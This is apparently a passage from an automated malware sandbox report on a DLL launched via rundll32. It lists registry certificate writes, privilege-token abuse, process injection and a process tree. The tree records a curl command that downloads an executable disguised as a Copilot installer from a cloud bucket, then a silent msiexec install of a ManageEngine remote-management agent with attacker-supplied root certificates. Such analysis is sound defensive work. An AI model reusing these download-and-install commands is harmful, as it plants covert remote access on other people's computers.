331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f742047333076301006072a8648ce3d020106052b8104002203620004dda7d9bb8ab80bfb0b7f21d2f0bebe73f3335d1abc34eadec69bbcd095f6f0ccd00bba615b51467e9e2d9fee8e630c17ec0770f5cf842e40839ce83f416d3badd3a4145936789d0343ee10136c72deae88a7a16bb543ce67dc23ff031ca3e23ea3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414b3db48a4f9a1c5d8ae3641cc1163696229bc4bc6300a06082a8648ce3d0403030368003065023100adbcf26c3f124ad12d39c30a099773f488368c8827bbe6888d5085a763f99e32de66930ff1ccb1098fdd6cabfa6b7fa0023039665bc2648db89e50dca8d549a2edc7dcd1497f1701b8c8868f4e8c882ba89aa98ac5d100bdf854e29ae55b7cb32717 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\3679CA35668772304D30A5FB873B0FA77BB70D54 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcagentregister.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\MSIEHistoryJournal\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000007f000000010000000c000000300a06082b06010505070303530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c05c0000000100000004000000000800000f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a30b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f0074002000470032000000620000000100000020000000cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f391d00000001000000100000007dc30bc974695560a2f0090a6545556c030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a419000000010000001000000014c3bd3549ee225aece13734ad8ca0b8040000000100000010000000e4a68ac854ac5242460afd72481b2a44090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703087e00000001000000080000000080c82b6886d7012000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F meaap.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\MSIEHistoryJournal\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F dcconfig.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\CRLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\Remote Desktop\CTLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcconfig.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CRLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\Certificates dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\SystemCertificates\MSIEHistoryJournal dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\SystemCertificates\FlightRoot dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob = 040000000100000010000000cb17e431673ee209fe455793f30afa1c190000000100000010000000d8b5fb368468620275d142ffd2aade370300000001000000140000004eb6d578499b1ccf5f581ead56be3d9b6744a5e56800000001000000000000007e000000010000000800000000c0032f2df8d6011d0000000100000010000000c6cbcafa17955c4cfd41eca0c654c3610b000000010000001200000056006500720069005300690067006e0000001400000001000000140000007fd365a7c2ddecbbf03009f34339fa02af3331336200000001000000200000009acfab7e43c8d880d06b262a94deeee4b4659989c3d0caf19baf6405e41ab7df09000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703017f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000006300000030613021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000e91e1e972b8f467ab4e0598fa92285387dee94c95900000001000000120000005200530041002f00530048004100310000002000000001000000d7040000308204d3308203bba003020102021018dad19e267de8bb4a2158cdcc6b3b4a300d06092a864886f70d01010505003081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735301e170d3036313130383030303030305a170d3336303731363233353935395a3081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d20473530820122300d06092a864886f70d01010105000382010f003082010a0282010100af240808297a359e600caae74b3b4edc7cbc3c451cbb2be0fe2902f95708a364851527f5f1adc831895d22e82aaaa642b38ff8b955b7b1b74bb3fe8f7e0757ecef43db66621561cf600da4d8def8e0c362083d5413eb49ca59548526e52b8f1b9febf5a191c23349d843636a524bd28fe870514dd189697bc770f6b3dc1274db7b5d4b56d396bf1577a1b0f4a225f2af1c926718e5f40604ef90b9e400e4dd3ab519ff02baf43ceee08beb378becf4d7acf2f6f03dafdd759133191d1c40cb7424192193d914feac2a52c78fd50449e48d6347883c6983cbfe47bd2b7e4fc595ae0e9dd4d143c06773e314087ee53f9f73b8330acf5d3f3487968aee53e825150203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e041604147fd365a7c2ddecbbf03009f34339fa02af333133300d06092a864886f70d0101050500038201010093244a305f62cfd81a982f3deadc992dbd77f6a5792238ecc4a7a07812ad620e457064c5e797662d98097e5fafd6cc2865f201aa081a47def9f97c925a0869200dd93e6d6e3c0d6ed8e606914018b9f8c1eddfdb41aae09620c9cd64153881c994eea284290b136f8edb0cdd2502dba48b1944d2417a05694a584f60ca7e826a0b02aa251739b5db7fe784652a958abd86de5e8116832d10ccdefda8822a6d281f0d0bc4e5e71a2619e1f4116f10b595fce7420532dbce9d515e28b69e85d35befa57d4540728eb70e6b0e06fb33354871b89d278bc4655f0d86769c447af6955cf65d320833a454b6183f685cf2424a853854835fd1e82cf2ac11d6a8ed636a dcprocmon.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\Certificates dcinventory.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe 4072 rundll32.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4072 rundll32.exe Token: SeLoadDriverPrivilege 4072 rundll32.exe Token: SeTakeOwnershipPrivilege 4072 rundll32.exe Token: SeIncBasePriorityPrivilege 4072 rundll32.exe Token: SeTcbPrivilege 4072 rundll32.exe Token: SeDebugPrivilege 4072 rundll32.exe Token: SeCreateTokenPrivilege 4072 rundll32.exe Token: SeAssignPrimaryTokenPrivilege 4072 rundll32.exe Token: SeLockMemoryPrivilege 4072 rundll32.exe Token: SeIncreaseQuotaPrivilege 4072 rundll32.exe Token: SeMachineAccountPrivilege 4072 rundll32.exe Token: SeTcbPrivilege 4072 rundll32.exe Token: SeSecurityPrivilege 4072 rundll32.exe Token: SeTakeOwnershipPrivilege 4072 rundll32.exe Token: SeLoadDriverPrivilege 4072 rundll32.exe Token: SeSystemProfilePrivilege 4072 rundll32.exe Token: SeSystemtimePrivilege 4072 rundll32.exe Token: SeProfSingleProcessPrivilege 4072 rundll32.exe Token: SeIncBasePriorityPrivilege 4072 rundll32.exe Token: SeCreatePagefilePrivilege 4072 rundll32.exe Token: SeCreatePermanentPrivilege 4072 rundll32.exe Token: SeBackupPrivilege 4072 rundll32.exe Token: SeRestorePrivilege 4072 rundll32.exe Token: SeShutdownPrivilege 4072 rundll32.exe Token: SeDebugPrivilege 4072 rundll32.exe Token: SeAuditPrivilege 4072 rundll32.exe Token: SeSystemEnvironmentPrivilege 4072 rundll32.exe Token: SeChangeNotifyPrivilege 4072 rundll32.exe Token: SeRemoteShutdownPrivilege 4072 rundll32.exe Token: SeUndockPrivilege 4072 rundll32.exe Token: SeSyncAgentPrivilege 4072 rundll32.exe Token: SeEnableDelegationPrivilege 4072 rundll32.exe Token: SeManageVolumePrivilege 4072 rundll32.exe Token: SeImpersonatePrivilege 4072 rundll32.exe Token: SeCreateGlobalPrivilege 4072 rundll32.exe Token: 31 4072 rundll32.exe Token: 32 4072 rundll32.exe Token: 33 4072 rundll32.exe Token: 34 4072 rundll32.exe Token: 35 4072 rundll32.exe Token: SeShutdownPrivilege 2564 msiexec.exe Token: SeIncreaseQuotaPrivilege 2564 msiexec.exe Token: SeSecurityPrivilege 4376 msiexec.exe Token: SeCreateTokenPrivilege 2564 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2564 msiexec.exe Token: SeLockMemoryPrivilege 2564 msiexec.exe Token: SeIncreaseQuotaPrivilege 2564 msiexec.exe Token: SeMachineAccountPrivilege 2564 msiexec.exe Token: SeTcbPrivilege 2564 msiexec.exe Token: SeSecurityPrivilege 2564 msiexec.exe Token: SeTakeOwnershipPrivilege 2564 msiexec.exe Token: SeLoadDriverPrivilege 2564 msiexec.exe Token: SeSystemProfilePrivilege 2564 msiexec.exe Token: SeSystemtimePrivilege 2564 msiexec.exe Token: SeProfSingleProcessPrivilege 2564 msiexec.exe Token: SeIncBasePriorityPrivilege 2564 msiexec.exe Token: SeCreatePagefilePrivilege 2564 msiexec.exe Token: SeCreatePermanentPrivilege 2564 msiexec.exe Token: SeBackupPrivilege 2564 msiexec.exe Token: SeRestorePrivilege 2564 msiexec.exe Token: SeShutdownPrivilege 2564 msiexec.exe Token: SeDebugPrivilege 2564 msiexec.exe Token: SeAuditPrivilege 2564 msiexec.exe Token: SeSystemEnvironmentPrivilege 2564 msiexec.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4072 rundll32.exe 3084 dcusbsummary.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4072 wrote to memory of 5772 4072 rundll32.exe 94 PID 5772 wrote to memory of 3216 5772 cmd.exe 95 PID 4072 wrote to memory of 2752 4072 rundll32.exe 102 PID 4072 wrote to memory of 1868 4072 rundll32.exe 106 PID 1868 wrote to memory of 512 1868 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 107 PID 512 wrote to memory of 3936 512 WScript.exe 108 PID 3936 wrote to memory of 2564 3936 cmd.exe 110 PID 4376 wrote to memory of 1100 4376 msiexec.exe 114 PID 4376 wrote to memory of 4104 4376 msiexec.exe 115 PID 4104 wrote to memory of 2512 4104 dcagentregister.exe 116 PID 2512 wrote to memory of 3184 2512 cmd.exe 118 PID 3184 wrote to memory of 5324 3184 net.exe 119 PID 2512 wrote to memory of 3188 2512 cmd.exe 120 PID 2512 wrote to memory of 6064 2512 cmd.exe 121 PID 2512 wrote to memory of 5200 2512 cmd.exe 122 PID 2512 wrote to memory of 2664 2512 cmd.exe 123 PID 2512 wrote to memory of 4608 2512 cmd.exe 124 PID 4104 wrote to memory of 5960 4104 dcagentregister.exe 126 PID 5960 wrote to memory of 4184 5960 cmd.exe 128 PID 4104 wrote to memory of 1968 4104 dcagentregister.exe 132 PID 4104 wrote to memory of 2548 4104 dcagentregister.exe 134 PID 4104 wrote to memory of 3792 4104 dcagentregister.exe 136 PID 4104 wrote to memory of 4472 4104 dcagentregister.exe 139 PID 4624 wrote to memory of 4352 4624 dcagentservice.exe 141 PID 4624 wrote to memory of 2172 4624 dcagentservice.exe 143 PID 4624 wrote to memory of 3084 4624 dcagentservice.exe 144 PID 3084 wrote to memory of 2004 3084 dcusbsummary.exe 146 PID 4624 wrote to memory of 4596 4624 dcagentservice.exe 148 PID 4624 wrote to memory of 3232 4624 dcagentservice.exe 149 PID 4624 wrote to memory of 6108 4624 dcagentservice.exe 150 PID 4624 wrote to memory of 644 4624 dcagentservice.exe 154 PID 4104 wrote to memory of 4612 4104 dcagentregister.exe 156 PID 4624 wrote to memory of 3048 4624 dcagentservice.exe 157 PID 3048 wrote to memory of 2948 3048 dcconfig.exe 159 PID 4612 wrote to memory of 5036 4612 dcagentregister.exe 161 PID 4612 wrote to memory of 3764 4612 dcagentregister.exe 162 PID 3764 wrote to memory of 4912 3764 cmd.exe 165 PID 4472 wrote to memory of 1968 4472 dcinventory.exe 166 PID 5156 wrote to memory of 3548 5156 UEMSAgentHealthChecker.exe 172 PID 5156 wrote to memory of 4312 5156 UEMSAgentHealthChecker.exe 174 PID 5156 wrote to memory of 4136 5156 UEMSAgentHealthChecker.exe 176 PID 5036 wrote to memory of 5504 5036 dcpatchscan.exe 179 PID 5036 wrote to memory of 2236 5036 dcpatchscan.exe 181 PID 5036 wrote to memory of 5228 5036 dcpatchscan.exe 183 PID 5036 wrote to memory of 2752 5036 dcpatchscan.exe 185 PID 3048 wrote to memory of 1216 3048 dcconfig.exe 187 PID 5036 wrote to memory of 3540 5036 dcpatchscan.exe 189 PID 5036 wrote to memory of 4900 5036 dcpatchscan.exe 191 PID 5036 wrote to memory of 4228 5036 dcpatchscan.exe 193 PID 5036 wrote to memory of 2068 5036 dcpatchscan.exe 195 PID 5036 wrote to memory of 3348 5036 dcpatchscan.exe 197 PID 5036 wrote to memory of 2576 5036 dcpatchscan.exe 280 PID 5036 wrote to memory of 1540 5036 dcpatchscan.exe 201 PID 4624 wrote to memory of 456 4624 dcagentservice.exe 203 PID 3048 wrote to memory of 4556 3048 dcconfig.exe 204 PID 5036 wrote to memory of 996 5036 dcpatchscan.exe 206 PID 5036 wrote to memory of 2548 5036 dcpatchscan.exe 208 PID 5036 wrote to memory of 4980 5036 dcpatchscan.exe 210 PID 5036 wrote to memory of 4992 5036 dcpatchscan.exe 212 PID 5036 wrote to memory of 5884 5036 dcpatchscan.exe 214 PID 3048 wrote to memory of 3008 3048 dcconfig.exe 216 PID 5036 wrote to memory of 4752 5036 dcpatchscan.exe 218 PID 5036 wrote to memory of 4884 5036 dcpatchscan.exe 220 PID 5036 wrote to memory of 6004 5036 dcpatchscan.exe 222 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\CrcLiEnt.dll,#11⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4072 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRCLIENT.dll",vmnetDHCP "C:\Windows\system32\rundll32.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5772 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRCLIENT.dll",vmnetDHCP "C:\Windows\system32\rundll32.exe"3⤵PID:3216
-
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" "https://sssdsfgvksokfciosdkma.oss-ap-northeast-1.aliyuncs.com/LocalOfficess7.exe"2⤵
- Downloads MZ/PE file
PID:2752
-
-
C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe"C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" /S /norestart2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\LocalOffice\run.vbs"3⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:512 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c silent.bat4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3936 -
C:\Windows\system32\msiexec.exemsiexec /i "C:\Users\Admin\AppData\Local\Temp\LocalOffice\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\LocalOffice\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\LocalOffice\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\LocalOffice\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\UEMS_Silent.log"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2564
-
-
-
-
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe1⤵
- Executes dropped EXE
PID:1792
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4376 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BE10641D49FE357670FC323834E459542⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1100
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\SysWOW64\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:3184 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵PID:5324
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
PID:3188
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "VYPMRCYQ\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
PID:6064
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r4⤵
- Modifies file permissions
PID:5200
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2664
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4608
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5960 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4184
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1968
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:2548
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3792
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -i postinstallation 0 13⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4472 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exedcmetroapps.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1968
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
